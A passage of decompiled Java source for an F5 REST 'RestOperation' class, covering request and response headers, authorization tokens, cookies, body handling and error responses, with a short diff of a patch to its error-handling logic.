Level.FINER.intValue() && this.responseHeadersTrace != null) ?
this.responseHeadersTrace.toString() : null;
   }









   public String getRequestHeadersTrace() {
     return (RestHelper.getOperationTracingLevel().intValue() <=
Level.FINER.intValue() && this.requestHeadersTrace != null) ?
this.requestHeadersTrace.toString() : null;
   }


   private RestOperation() {
     this.id = nextId.getAndIncrement();
   }



   public String toString() {
     return String.format("[\n id=%s\n referer=%s\n uri=%s\n method=%s\n
statusCode=%d\n contentType=%s\n contentLength=%d\n contentRange=%s\n
deadline=%s\n body=%s\n forceSocket=%s\n isResponse=%s\n retriesRemaining=%s\n
coordinationId=%s\n isConnectionCloseRequested=%s\n isConnectionKeepAlive=%s\n
isRestErrorResponseRequired=%s\n AdditionalHeadersAsString=\n%s\n
ResponseHeadersTrace=%s\n X-F5-Config-Api-Status=%d]", new Object[] {
Long.valueOf(this.id), this.referer, this.uri, getMethod(),
Integer.valueOf(getStatusCode()), getContentType(),
Long.valueOf(getContentLength()), getContentRange(), getExpiration(),
getBodyAsString(), Boolean.valueOf(getForceSocket()),
Boolean.valueOf(isResponse()), Integer.valueOf(getRetriesRemaining()),
getCoordinationId(), Boolean.valueOf(isConnectionCloseRequested()),
Boolean.valueOf(isConnectionKeepAlive()),
Boolean.valueOf(isRestErrorResponseRequired()), getAdditionalHeadersAsString("
"), (getResponseHeadersTrace() == null) ? "" : String.format(" %s\n", new Object[]
{ getResponseHeadersTrace() }), Long.valueOf(getXF5ConfigApiStatus()) });
   }
```

```
public long getId() {
  return this.id;
}
```

```
public String getReferer() {
  return this.referer;
}





public RestOperation setReferer(String referer) {
  this.referer = referer;
  return this;
}



public RestOperation setOneTryOnly() {
  this.retriesRemaining = 1;
  return this;
}



int decrementRetriesRemaining() {
  return --this.retriesRemaining;
}



int getRetriesRemaining() {
  return this.retriesRemaining;
}






void setRetriesRemaining(int retriesRemaining) {
  this.retriesRemaining = retriesRemaining;
}



RestOperation clearRetriesRemaining() {
  this.retriesRemaining = 0;
  return this;
}
```

```
public int getCompletionCount() {
  return this.completionCount.get();
}



void resetCompletionCount() {
  this.completionCount.set(0);
}



public String getXForwarderdFor() {
  return this.xForwardedFor;
}




public String getRemoteSender() {
  if (this.xForwardedFor != null) {
    return this.xForwardedFor;
  }

  if (this.referer != null) {
    return this.referer;
  }
  return "Unknown";
}



public RestOperation setContentLength(long contentLength) {
  this.contentLength = contentLength;
  return this;
}



public RestRequestCompletion getCompletion() {
  return this.completion;
}



public boolean isConnectionKeepAlive() {
  return this.isConnectionKeepAlive;
}
```

```java
public RestOperation setConnectionKeepAlive(boolean isConnectionKeepAlive) {
  this.isConnectionKeepAlive = isConnectionKeepAlive;
  return this;
}



public boolean isConnectionCloseRequested() {
  return this.isConnectionCloseRequested;
}



public RestOperation setConnectionClose(boolean isConnectionCloseRequested) {
  this.isConnectionCloseRequested = isConnectionCloseRequested;
  return this;
}



int getHttpHeaderByteCount() {
  return this.httpHeaderByteCount;
}



RestOperation setHttpHeaderByteCount(int byteCount) {
  this.httpHeaderByteCount = byteCount;
  return this;
}



RestOperation flipToResponse(boolean clearBody) {
  removeAdditionalHeader("Tmui-Dubbuf");

  this.isResponse = true;
  this.parameters.clear();
  this.httpHeaderByteCount = 0;

  if (this.authorizationData != null) {
    this.authorizationData.basicAuthValue = null;
  }
  if (clearBody) {
    clearBody();
  }
```

```
    return this;
  }



  void clearBody() {
    this.contentLength = -1L;
    this.binaryBody = null;
    this.body = null;
    this.deserializedBody = null;
    this.deserializedBodyType = null;
  }

  public boolean isResponse() {
    return this.isResponse;
  }

  public RestOperation setForceSocket(boolean forceSocket) {
    this.isForceSocketEnabled = forceSocket;
    return this;
  }

  public boolean getForceSocket() {
    return this.isForceSocketEnabled;
  }

  public RestOperation setCompletion(RestRequestCompletion completion) {
    this.completion = completion;
    return this;
  }

  public RestOperation setMethod(RestMethod method) {
    this.method = method;
    return this;
  }

  public RestMethod getMethod() {
    return this.method;
  }

  public RestOperation setContentDisposition(String contentDisposition) {
    this.contentDisposition = contentDisposition;
    return this;
  }

  public String getContentDisposition() {
    return this.contentDisposition;
  }

  public RestOperation setContentType(String contentType) {
    this.incomingContentType = null;
    this.contentType = contentType;
    return this;
  }

  public RestOperation setIncomingContentType(String contentType) {
    this.incomingContentType = contentType;
    this.contentType = null;
```

```
      return this;
    }

    public RestOperation defaultToContentTypeJson() {
      return setContentType("application/json");
    }

    public String getContentType() {
      return (this.contentType == null) ? this.incomingContentType :
this.contentType;
    }

    public String getOutgoingContentType() {
      return this.contentType;
    }

    public String getOutgoingContentEncoding() {
      if (this.contentEncoding != null) {
        return this.contentEncoding;
      }

      if (this.contentEncoding == null &&
this.contentType.equals("application/json")) {
        return MIME_ENCODING_UTF8;
      }
      return null;
    }

    public RestOperation setContentRange(String contentRange) {
      this.contentRange = contentRange;
      if (this.contentRange != null) {
        this.contentRange = this.contentRange.trim();
      }
      return this;
    }

    public String getContentRange() {
      if (this.contentRange == null) {
        return null;
      }
      return this.contentRange.trim();
    }







    public String getAccept() {
      return this.accept;
    }








    public RestOperation setAccept(String accept) {
```

```
    this.accept = accept;
    return this;
  }

  private void setupAuthorizationData() {
    if (this.authorizationData == null) {
      this.authorizationData = new AuthorizationData();
    }
  }









  public void setBasicAuthFromIdentity() {
    if (this.authorizationData == null) {
      return;
    }

    this.authorizationData.basicAuthValue =
AuthzHelper.encodeBasicAuth(getAuthUser(), null);
  }










  public RestOperation setBasicAuthorizationHeader(String value) {
    setupAuthorizationData();


    if (value != null) {
      byte[] data = DatatypeConverter.parseBase64Binary(value);
      if (data == null || data.length == 0) {
        LOGGER.warningFmt("Basic Authorization header set to value that is
invalid base64. Value: %s", new Object[] { value });

        value = null;
      }
    }

    this.authorizationData.basicAuthValue = value;
    return this;
  }
```

```
    public RestOperation setBasicAuthorization(Void dummy) {
      if (this.authorizationData != null) {
        this.authorizationData.basicAuthValue = null;
      }
      return this;
    }







    public RestOperation setBasicAuthorization(String user, String password) {
      setIdentityData(user, null, null);
      setBasicAuthorizationHeader(AuthzHelper.encodeBasicAuth(user, password));
      return this;
    }






    public RestOperation setAdminIdentity() {
      RestReference adminReference = AuthzHelper.getDefaultAdminReference();
      if (adminReference != null) {
        setIdentityData(null, adminReference, null);
      }
      return this;
    }






    public RestOperation setIdentityFrom(RestOperation incomingRequest) {
      this.identityData = null;
      if (incomingRequest.identityData != null) {
        setIdentityData(incomingRequest.identityData.userName,
incomingRequest.identityData.userReference,
incomingRequest.identityData.groupReferences);
      }


      this.authorizationData = null;
      if (incomingRequest.authorizationData != null) {
        this.authorizationData = new AuthorizationData();
        this.authorizationData.basicAuthValue =
incomingRequest.authorizationData.basicAuthValue;
      }

      return this;
    }
```

```
   public RestOperation setIdentityData(String userName, RestReference
userReference, RestReference[] groupReferences) {
     if (userName == null && !RestReference.isNullOrEmpty(userReference)) {


       String segment = UrlHelper.getLastPathSegment(userReference.link);
       if
(userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new
String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment }))))
       {
         userName = segment;
       }
     }
     if (userName != null && RestReference.isNullOrEmpty(userReference)) {
       userReference = new
RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] {
WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName })));
     }


     this.identityData = new IdentityData();
     this.identityData.userName = userName;
     this.identityData.userReference = userReference;
     this.identityData.groupReferences = groupReferences;
     return this;
   }





   public String getBasicAuthorization() {
     if (this.authorizationData == null) {
       return null;
     }
     return this.authorizationData.basicAuthValue;
   }







   public RestOperation setWwwAuthenticate(String authentication) {
     setupAuthorizationData();
     this.authorizationData.wwwAuthenticate = authentication;
     return this;
   }






   public RestOperation setXF5AuthToken(String token) {
     setupAuthorizationData();
```

```
  if (token == null) {
    this.authorizationData.xF5AuthTokenState = null;
  } else {
    this.authorizationData.xF5AuthTokenState = new AuthTokenItemState();
    this.authorizationData.xF5AuthTokenState.token = token;
  }
  return this;
}








public RestOperation setXF5AuthTokenState(AuthTokenItemState tokenState) {
  setupAuthorizationData();
  this.authorizationData.xF5AuthTokenState = tokenState;

  RestOperationIdentifier.updateIdentityFromAuthenticationData(this);

  return this;
}




public RestOperation setXAuthToken(String token) {
  setupAuthorizationData();
  this.authorizationData.xAuthToken = token;
  return this;
}




public RestOperation setXForwardedFor(String xForwardedFor) {
  this.xForwardedFor = xForwardedFor;
  return this;
}






public String getWwwAuthenticate() {
  if (this.authorizationData == null) {
    return null;
  }
  return this.authorizationData.wwwAuthenticate;
}
```

```
  public String getXF5AuthToken() {
    if (this.authorizationData == null ||
this.authorizationData.xF5AuthTokenState == null) {
      return null;
    }
    return this.authorizationData.xF5AuthTokenState.token;
  }




  public AuthTokenItemState getXF5AuthTokenState() {
    if (this.authorizationData == null) {
      return null;
    }
    return this.authorizationData.xF5AuthTokenState;
  }




  public String getXAuthToken() {
    if (this.authorizationData == null) {
      return null;
    }
    return this.authorizationData.xAuthToken;
  }

  public RestOperation setTransferEncoding(String value) {
    this.transferEncoding = value;
    return this;
  }

  public String getTransferEncoding() {
    return this.transferEncoding;
  }




  public String getAuthUser() {
    return (this.identityData == null) ? null : this.identityData.userName;
  }
```

```
   public boolean doesRequireAuthorization() {
     return (isPublicRequest() || getAuthUser() != null);
   }

   public RestReference getAuthUserReference() {
     return (this.identityData == null) ? null : this.identityData.userReference;
   }

   public RestReference[] getAuthGroupReferences() {
     return (this.identityData == null) ? null :
this.identityData.groupReferences;
   }

   public List<RestReference> getAuthGroupReferencesList() {
     List<RestReference> list = new ArrayList<>();

     if (this.identityData == null) {
       return list;
     }

     if (this.identityData.groupReferences == null) {
       return list;
```

```
    }

    for (RestReference reference : this.identityData.groupReferences) {
      if (!RestReference.isNullOrEmpty(reference)) {
        list.add(reference);
      }
    }

    return list;
  }







  public List<RestReference> getAuthIdentityReferences() {
    List<RestReference> list = new ArrayList<>();

    if (this.identityData == null) {
      return list;
    }

    list.addAll(getAuthGroupReferencesList());

    if (!RestReference.isNullOrEmpty(this.identityData.userReference)) {
      list.add(this.identityData.userReference);
    }

    return list;
  }



  public String getAuthProviderName() {
    AuthTokenItemState token = getXF5AuthTokenState();
    if (token != null) {
      return token.authProviderName;
    }


    return "local";
  }

  public long getContentLength() {
    if (this.contentLength == -1L && this.body == null)
    {

      getBodyAsString();
    }
    return this.contentLength;
  }
```

```
   public boolean isContentLengthUnknown() {
     return (this.contentLength == -1L);
   }






   public boolean isBodyNull() {
     return (this.body == null && this.binaryBody == null);
   }




   public boolean isBodyEmpty() {
     if (isBodyNull())
     {
       return true;
     }

     if (this.binaryBody != null && this.binaryBody.length > 0)
     {
       return false;
     }

     if (this.body != null && (
       this.body.isEmpty() || "{}".equals(this.body))) {
       return true;
     }



     return (isContentLengthUnknown() || getContentLength() == 0L);
   }


   public <T> T getTypedBody(Class<T> bodyClass) {
     return bodyClass.cast(getBody(bodyClass));
   }

   public Object getBody(Type bodyType) {
     if (isBodyEmpty()) {
       return null;
     }
     if (this.deserializedBody != null && this.deserializedBodyType != null &&
bodyType.equals(this.deserializedBodyType))
     {

       return this.deserializedBody;
     }

     this.deserializedBody = gson.fromJson(this.body, bodyType);
     this.deserializedBodyType = bodyType;
     return this.deserializedBody;
   }
```

```
public String getBodyAsString() {
  return this.body;
}

public byte[] getBinaryBody() {
  return this.binaryBody;
}

public RestOperation setBinaryBody(byte[] binaryBody) {
  return setBody(null, null, binaryBody);
}

public RestOperation setBinaryBody(byte[] binaryBody, String contentType) {
  setBody(null, null, binaryBody);
  return setContentType(contentType);
}









public RestOperation setBodyFromOp(RestOperation request) {
  this.body = request.body;
  this.binaryBody = request.binaryBody;

  this.contentLength = request.contentLength;
  this.contentType = request.contentType;
  this.deserializedBody = null;
  this.deserializedBodyType = null;

  return this;
}






public RestOperation setParsedBody(JsonElement body) {
  return setBody(null, body, null);
}

public RestOperation setBody(String body, String mimeType) {
  return setBody(body, null, null).setContentType(mimeType);
}

public RestOperation setBody(String body) {
  return setBody(body, null, null);
}

public RestOperation setBody(Object body) {
  return setBody(null, body, null);
}
```

```
   private RestOperation setBody(String stringBody, Object aObjBody, byte[]
aBinaryBody) {
     clearBody();

     if (stringBody != null) {

       this.body = stringBody;
       this.contentLength = stringBody.length();

     }
     else if (aObjBody != null) {


       this.body = toJson(aObjBody);
       this.contentLength = this.body.length();


       setContentType("application/json");
     } else if (aBinaryBody != null) {

       this.binaryBody = aBinaryBody;
       this.contentLength = aBinaryBody.length;
     }



     checkSize(this.contentLength);

     return this;
   }
   public void checkSize(long requiredCapacity) {
     int maxSize = maxMessageBodySize.get();
     if (requiredCapacity > maxSize) {
       throw new IllegalArgumentException("Message body size of " +
requiredCapacity + " bytes" + " exceeds the maximum allowed size of " + maxSize +
" bytes");
     }
   }









   public JsonElement getParsedBody() {
     if (this.body == null) {
       return null;
     }

     return toJsonTree(this.body);
   }
```

```java
public boolean hasProperty(String propertyName) {
  if (this.binaryBody != null) {
    return false;
  }

  if (!"application/json".equals(this.contentType)) {
    return false;
  }

  if (this.body == null) {
    return false;
  }

  if (!this.body.contains("\"" + propertyName + "\"")) {
    return false;
  }

  JsonElement parsedBody = getParsedBody();
  if (parsedBody.isJsonObject()) {
    JsonObject bodyObj = parsedBody.getAsJsonObject();
    return bodyObj.has(propertyName);
  }

  return false;
}



public RestOperation setUri(URI uri) {
  this.uri = uri;
  HttpParserHelper.parseUriParameters(this, uri);
  return this;
}

public URI getUri() {
  return this.uri;
}

public RestOperation setStatusCode(int statusCode) {
  this.statusCode = statusCode;
  return this;
}

public int getStatusCode() {
  return this.statusCode;
}
```

```java
public final RestOperation setExpiration(Date expiration) {
  if (expiration == null) {
    throw new IllegalArgumentException("expiration may not be null");
  }
  this.expiration = expiration;
  return this;
}




public final Date getExpiration() {
  return this.expiration;
}




public boolean hasExpired() {
  return hasExpired(new Date());
}





public boolean hasExpired(Date now) {
  if (this.expiration.after(now)) {
    return false;
  }
  return true;
}

public Map<String, String> getParameters() {
  return this.parameters;
}

public RestOperation setParameter(String name, String value) {
  RestHelper.setKeyValuePair(this.parameters, name, value);
  return this;
}

public String getParameter(String name) {
  return this.parameters.get(name);
}

public void removeParameter(String name) {
  this.parameters.remove(name);
}
```

```
   public void setCookies(Map<String, String> cookies) {
     setCookies(cookies, Direction.getDirection(this.isResponse));
   }

   public void setCookies(Map<String, String> cookies, Direction direction) {
     StringBuilder sb = new StringBuilder();
     for (Map.Entry<String, String> cookie : cookies.entrySet())
     {

sb.append(((String)cookie.getKey()).trim()).append("=").append(cookie.getValue()).
append(";");
     }

     addAdditionalHeader(direction, "Cookie", sb.toString());
   }

   public Map<String, String> getCookies() {
     return getCookies(Direction.getDirection(this.isResponse));
   }

   public Map<String, String> getCookies(Direction direction) {
     HashMap<String, String> cookieMap = new HashMap<>();

     String cookies = getAdditionalHeader(direction, "Cookie");
     if (cookies != null) {
       HttpParserHelper.parseRequestKeyValuePairs(cookies, cookieMap, ";");
     }
```

```
    Map<String, String> trimmedCookies = new HashMap<>();
    for (String key : cookieMap.keySet()) {
      String trimmedKey = key.trim();
      String value = cookieMap.get(key);
      String trimmedValue = value.trim();
      trimmedCookies.put(trimmedKey, trimmedValue);
    }

    return trimmedCookies;
  }







  public RestOperation setCookie(String name, String value) {
    return setCookie(name, value, Direction.getDirection(this.isResponse));
  }









  public RestOperation setCookie(String name, String value, Direction direction)
{
    Map<String, String> cookies = getCookies(direction);
    RestHelper.setKeyValuePair(cookies, name, value);
    setCookies(cookies, direction);

    return this;
  }







  public String getCookie(String name) {
    return getCookie(name, Direction.getDirection(this.isResponse));
  }
```

```
   public String getCookie(String name, Direction direction) {
     Map<String, String> cookies = getCookies(direction);

     if (cookies != null) {
       return cookies.get(name);
     }
     return null;
   }




   private void allocateHttpHeaders() {
     if (this.additionalHeaders == null) {
       this.additionalHeaders = new HttpHeaderFields[2];
     }
   }







   public HttpHeaderFields getAdditionalHeaders() {
     allocateHttpHeaders();
     return this.additionalHeaders[responseToIndex()];
   }







   public HttpHeaderFields getAdditionalHeaders(Direction specificDirection) {
     allocateHttpHeaders();
     if (this.additionalHeaders[specificDirection.getIndex()] == null) {
       this.additionalHeaders[specificDirection.getIndex()] = new
HttpHeaderFields();
     }
     return this.additionalHeaders[specificDirection.getIndex()];
   }







   public String getAdditionalHeader(String name) {
     allocateHttpHeaders();
     if (this.additionalHeaders[responseToIndex()] == null) {
       this.additionalHeaders[responseToIndex()] = new HttpHeaderFields();
     }
     return getAdditionalHeader(Direction.getDirection(this.isResponse), name);
   }
   public String getAdditionalHeader(Direction specificDirection, String name) {
     allocateHttpHeaders();
     if (this.additionalHeaders[specificDirection.getIndex()] == null) {
       return "";
     }

     return
this.additionalHeaders[specificDirection.getIndex()].getHeaderField(name);
   }







   public void addAdditionalHeaders(Direction specificDirection, HttpHeaderFields
headers) {
     this.additionalHeaders[specificDirection.getIndex()] = headers;
   }







   public void addAdditionalHeader(Direction specificDirection, String name,
String value) {
     allocateHttpHeaders();
     if (this.additionalHeaders[specificDirection.getIndex()] == null) {
       this.additionalHeaders[specificDirection.getIndex()] = new
HttpHeaderFields();
     }

     this.additionalHeaders[specificDirection.getIndex()].addHeaderField(name,
value, specificDirection.toString());
   }







   public String removeAdditionalHeader(String name) {
     return removeAdditionalHeader(Direction.getDirection(this.isResponse), name);
   }
   public String removeAdditionalHeader(Direction specificDirection, String name)
{
     allocateHttpHeaders();
     if (this.additionalHeaders[specificDirection.getIndex()] == null) {
       return "";
     }

     return
this.additionalHeaders[specificDirection.getIndex()].removeHeaderField(name);
   }







   public void addAdditionalHeader(String name, String value) {
     addAdditionalHeader(Direction.getDirection(this.isResponse), name, value);
   }






   private String getAdditionalHeadersAsString(String linePrefix) {
     allocateHttpHeaders();
     StringBuilder sb = new StringBuilder(linePrefix + "Request:");
     if (this.additionalHeaders[Direction.REQUEST.getIndex()] == null) {
       sb.append("<empty>");
     } else {

sb.append(this.additionalHeaders[Direction.REQUEST.getIndex()].getAdditionalHeader
sAsString(linePrefix));
     }

     sb.append(linePrefix + "Response:");
     if (this.additionalHeaders[Direction.RESPONSE.getIndex()] == null) {
       sb.append("<empty>");
     } else {

sb.append(this.additionalHeaders[Direction.RESPONSE.getIndex()].getAdditionalHeade
rsAsString(linePrefix));
     }


     return sb.toString();
   }





   public enum Direction
   {
     REQUEST(false),
     RESPONSE(true);

     private int index;

     private String name;

     Direction(boolean isResponse) {
       this.index = isResponse ? 1 : 0;
       this.name = isResponse ? "response" : "request";
     }

     public int getIndex() {
       return this.index;
     }


     public String toString() {
       return this.name;
     }

     public static Direction getDirection(boolean isResponse) {
       return isResponse ? RESPONSE : REQUEST;
     }

     public static Direction opposite(Direction direction) {
       return (direction == RESPONSE) ? REQUEST : RESPONSE;
     }
   }

   private int responseToIndex() {
     return Direction.getDirection(this.isResponse).getIndex();
   }

   public RestOperation setCoordinationId(String value) {
     this.coordinationId = value;
     return this;
   }

   public String getCoordinationId() {
     return this.coordinationId;
   }

   public RestOperation setAllow(String value) {
     this.allow = value;
     return this;
   }

   public String getAllow() {
     return this.allow;
   }

   public RestOperation setResourceDeprecated(Boolean value) {
     this.resourceDeprecated = value;
     return this;
   }

   public Boolean getResourceDeprecated() {
     return Boolean.valueOf((this.resourceDeprecated != null &&
this.resourceDeprecated.booleanValue()));
   }

   public RestOperation setResourceEarlyAccess(Boolean value) {
     this.resourceEarlyAccess = value;
     return this;
   }

   public Boolean getResourceEarlyAccess() {
     return Boolean.valueOf((this.resourceEarlyAccess != null &&
this.resourceEarlyAccess.booleanValue()));
   }

   public RestOperation setPropertyDeprecated(Boolean value) {
     this.propertyDeprecated = value;
     return this;
   }

   public Boolean getPropertyDeprecated() {
     return Boolean.valueOf((this.propertyDeprecated != null &&
this.propertyDeprecated.booleanValue()));
   }

   public RestOperation setPropertyEarlyAccess(Boolean value) {
     this.propertyEarlyAccess = value;
     return this;
   }

   public Boolean getPropertyEarlyAccess() {
     return Boolean.valueOf((this.propertyEarlyAccess != null &&
this.propertyEarlyAccess.booleanValue()));
   }

   public boolean containsApiStatusInformation() {
     return (getResourceDeprecated().booleanValue() ||
getResourceEarlyAccess().booleanValue() || getPropertyDeprecated().booleanValue()
|| getPropertyEarlyAccess().booleanValue());
   }


   public void setXF5ConfigApiStatus(long bitMask) {
     this.xF5ConfigApiStatus = bitMask;
   }

   public long getXF5ConfigApiStatus() {
     return this.xF5ConfigApiStatus;
   }

   public RestOperation setOrigin(String value) {
     this.origin = value;
     return this;
   }

   public String getOrigin() {
     return this.origin;
   }

   public List<ParsedCollectionEntry> getParsedCollectionEntries() {
     return this.parsedUriCollectionEntries;
   }






   EnumSet<RestOperationFlags> getRestOperationFlags() {
     return this.restOperationFlags;
   }

   public void setSourceAddress(SocketAddress sourceAddress) {
     this.sourceAddress = sourceAddress;
   }

   public SocketAddress getSourceAddress() {
     return this.sourceAddress;
   }




   public boolean isRollbackRequest() {
     return this.isRollbackRequest;
   }




   public RestOperation setRollbackRequest(boolean isRollback) {
     this.isRollbackRequest = isRollback;
     return this;
   }




   public RestOperation setParsedCollectionEntries(List<ParsedCollectionEntry>
parsedList) {
     this.parsedUriCollectionEntries = parsedList;
     return this;
   }







+
   public boolean generateRestErrorResponse() {
-    return ((getContentType() == null ||
getContentType().contains("application/json")) && isRestErrorResponseRequired());
+    return (getContentType() != null && isRestErrorResponseRequired());
   }
```

```
-
   public boolean isRestErrorResponseRequired() {
     return this.isRestErrorResponseRequired;
   }




   public RestOperation setIsRestErrorResponseRequired(boolean
isRestErrorResponseRequired) {
     this.isRestErrorResponseRequired = isRestErrorResponseRequired;
     return this;
   }




   public String getIdentifiedGroupName() {
     return this.identifiedGroupName;
   }




   protected RestOperation setTrustedRequest(boolean value) {
     this.isTrustedRequest = value;
     return this;
   }






   public boolean isTrustedRequest() {
     return this.isTrustedRequest;
   }





   public RestOperation setSenderNote(String value) {
     this.senderNote = value;
     return this;
   }

   public String getSenderNote() {
     return this.senderNote;
   }
   public RestOperation setGossipHeader(String value) {
     this.gossipHeader = value;
     return this;
   }

   public String getGossipHeader() {
     return this.gossipHeader;
   }

   public void complete() {
     if (this.completionCount.incrementAndGet() > 1) {
       if (this.statusCode < 400)
       {


         LOGGER.fine(RestHelper.throwableStackToString(new
IllegalStateException(String.format("Already completed:Referer:%s, target:%s", new
Object[] { this.referer, this.uri }))));
       }


       return;
     }

     if (this.completion == null) {
       return;
     }

     try {
       if (this.statusCode >= 400) {
         IllegalStateException ise = new
IllegalStateException(String.format("complete() of %s %s from %s %s called with
incompatible status code %s so redirecting to failed()", new Object[] {
getMethod(), getUri(), getReferer(), getRemoteSender(),
Integer.valueOf(this.statusCode) }));




         this.completion.failed(ise, this);
         LOGGER.warning(RestHelper.throwableStackToString(ise));
         return;
       }
     } catch (Exception e) {
       LOGGER.warningFmt("Exception in %s %s failure handler: %s", new Object[] {
getMethod(), getUri(), RestHelper.throwableStackToString(e) });

       return;
     }

     try {
       this.completion.completed(this);
     } catch (Exception e) {
       try {
         LOGGER.fineFmt("Failed attempting to complete a successful %s %s request:
%s", new Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e)
});

         Exception ex = RestHelper.convertToException(e);
         this.completion.failed(ex, this);
       } catch (Exception eInsideFail) {
         LOGGER.warningFmt("Exception in %s %s failed. t: %s tInsideFail: %s", new
Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e),
RestHelper.throwableStackToString(eInsideFail) });
       }
     }
   }



   public void fail(Exception ex, RestErrorResponse err) {
     fail(ex, err, false);
   }

   public void fail(Exception ex, RestErrorResponse err, boolean
allowExternalStackTrace) {
     try {
       String existingBody = getBodyAsString();

       boolean excludeStack = (!allowExternalStackTrace && isRequestExternal());


err.setOriginalRequestBody(existingBody).setCode(this.statusCode).setErrorStack(ex
cludeStack ? null :
RestHelper.throwableStackToList(ex)).setReferer(this.referer).setRestOperationId(t
his.id);




       setBody(err);
     } finally {
       fail(ex);
     }
   }















   public void fail(Throwable throwable) {
     fail(throwable, false);
   }
   public void fail(Throwable throwable, boolean allowExternalStackTrace) {
     if (this.completionCount.incrementAndGet() > 1) {
       return;
     }

     if (this.completion == null) {
       return;
     }

     if (throwable == null) {
       throwable = new IllegalArgumentException("request failed with null
exception");
     }

     Exception ex = null;
     try {
       if (this.statusCode == 200 || this.statusCode == 202) {

         this.statusCode = 400;
         if (throwable instanceof RestWorkerUriNotFoundException) {
           this.statusCode = 404;
         }
       }

       if (generateRestErrorResponse()) {
         setErrorResponseBody(throwable, allowExternalStackTrace);
       }

       JsonElement jsonBody = getParsedBody();
       if (jsonBody != null && jsonBody instanceof JsonObject) {
         JsonObject jsonObject = (JsonObject)jsonBody;
         if (jsonObject != null) {
           Set<Map.Entry<String, JsonElement>> entries = jsonObject.entrySet();
           boolean setDescription = false;
-          for (Map.Entry<String, JsonElement> current : entries) {
+          for (Iterator<Map.Entry<String, JsonElement>> iter =
entries.iterator(); iter.hasNext(); ) {
+            Map.Entry<String, JsonElement> current = iter.next();
             if (current.getValue() != null &&
RestWorker.isHtmlTagExists(((JsonElement)current.getValue()).toString())) {
               jsonObject.addProperty(current.getKey(), "HTML Tag-like Content in
the Request URL/Body");
               setBody(jsonObject.toString());
               LOGGER.fine("tag-like content on respone with key " +
(String)current.getKey());
             }
-             if (((String)current.getKey()).toString().equals("code") &&
(((JsonElement)current.getValue()).toString().equals("400") ||
((JsonElement)current.getValue()).toString().equals("500"))) {
-
+             if (((String)current.getKey()).toString().equals("code") &&
Integer.parseInt(((JsonElement)current.getValue()).toString()) >= 400) {

                setDescription = true; continue;
              }  if (setDescription &&
((String)current.getKey()).toString().equals("originalRequestBody")) {

-               jsonObject.remove(current.getKey());
+               iter.remove();
                setBody(jsonObject.toString());
                setDescription = false;
                LOGGER.fine("Cleared the request content for key " +
(String)current.getKey());
              }
            }
          }
        }
        ex = RestHelper.convertToException(throwable);
      } catch (Exception e2) {
        LOGGER.warningFmt("Unable to generate error body for %s %s %s: %s", new
Object[] { getMethod(), getUri(), Integer.valueOf(getStatusCode()),
RestHelper.throwableStackToString(e2) });
      } finally {

        try {
          this.completion.failed(ex, this);
        } catch (Exception e3) {
          LOGGER.warningFmt("failure handler for %s %s %s threw unexpectedly: %s",
new Object[] { getMethod(), getUri(), Integer.valueOf(getStatusCode()),
RestHelper.throwableStackToString(e3) });
        }
      }
    }
```

```
  public void setErrorResponseBody(Throwable t) {
    setErrorResponseBody(t, false);
  }











  public void setErrorResponseBody(Throwable t, boolean allowExternalStackTrace)
{
    if (t == null)
    {
      t = new IllegalArgumentException("Expected exception was null");
    }

    boolean excludeStack = (!allowExternalStackTrace && isRequestExternal());

    String existingBody = getBodyAsString();
    if (existingBody == null || existingBody.isEmpty()) {


setBody(RestErrorResponse.create().setCode(this.statusCode).setMessage(t.getLocali
zedMessage()).setReferer(this.referer).setRestOperationId(this.id).setErrorStack(e
xcludeStack ? null : RestHelper.throwableStackToList(t)));



      return;
    }



    try {
      boolean isValidErrorResponse = false;


      Object errorResponse = getBody(RestErrorResponse.class);
      if (errorResponse instanceof RestErrorResponse) {
        RestErrorResponse restErrorResponse = (RestErrorResponse)errorResponse;
```

```
         isValidErrorResponse = (restErrorResponse.getCode() != 0L ||
restErrorResponse.getOriginalRequestBody() != null ||
restErrorResponse.getMessage() != null);
       }




       errorResponse = getBody(RestODataErrorResponse.class);
       if (!isValidErrorResponse && errorResponse instanceof
RestODataErrorResponse) {
         RestODataErrorResponse oDataErrorResponse =
(RestODataErrorResponse)errorResponse;
         isValidErrorResponse = (oDataErrorResponse.getError() != null &&
oDataErrorResponse.getError().getCode() != 0);
       }


       if (excludeStack) {
         existingBody = cleanStackTrace(existingBody);
         setBody(existingBody);
       }


       if (!isValidErrorResponse) {

setBody(RestErrorResponse.create().setCode(this.statusCode).setOriginalRequestBody
(existingBody).setMessage(t.getLocalizedMessage()).setReferer(this.referer).setRes
tOperationId(this.id).setErrorStack(excludeStack ? null :
RestHelper.throwableStackToList(t)));



       }


     }
     catch (Exception jsonException) {
       t.addSuppressed(jsonException);



setBody(RestErrorResponse.create().setCode(this.statusCode).setMessage(t.getLocali
zedMessage()).setOriginalRequestBody(existingBody).setReferer(this.referer).setRes
tOperationId(this.id).setErrorStack(excludeStack ? null :
RestHelper.throwableStackToList(t)));
     }
   }
   public static String cleanStackTrace(String json) {
     if (json != null && json.contains("errorStack")) {
       json =
json.replaceAll("(?s)(\"errorStack\"|errorStack)(\\s*):(\\s*)\\[.*]",
"$1$2:$3[]");
     }


     return json;
   }

   private boolean isRequestExternal() {
     boolean isExternal = true;

     try {
       isExternal = RestStatic.isExternalRequest(this);
     } catch (Exception e) {

       LOGGER.severe("Unable to determine if request is external: " +
e.getMessage());
     }

     return isExternal;
   }





   public Object clone() {
     RestOperation copy = new RestOperation();
     copy.completion = this.completion;
     copy.retriesRemaining = this.retriesRemaining;
     copy.parameters.putAll(this.parameters);
     copy.uri = (this.uri == null) ? null : URI.create(this.uri.toString());
     copy.expiration = new Date(this.expiration.getTime());
     copy.method = this.method;
     copy.accept = this.accept;
     copy.allow = this.allow;
     copy.resourceDeprecated = this.resourceDeprecated;
     copy.resourceEarlyAccess = this.resourceEarlyAccess;
     copy.propertyDeprecated = this.propertyDeprecated;
     copy.propertyEarlyAccess = this.propertyEarlyAccess;
     copy.xF5ConfigApiStatus = this.xF5ConfigApiStatus;
     copy.contentType = this.contentType;
     copy.contentDisposition = this.contentDisposition;
     copy.body = this.body;
     copy.binaryBody = this.binaryBody;
     copy.contentLength = this.contentLength;
     copy.contentRange = this.contentRange;
     copy.serverCertificateChain = this.serverCertificateChain;
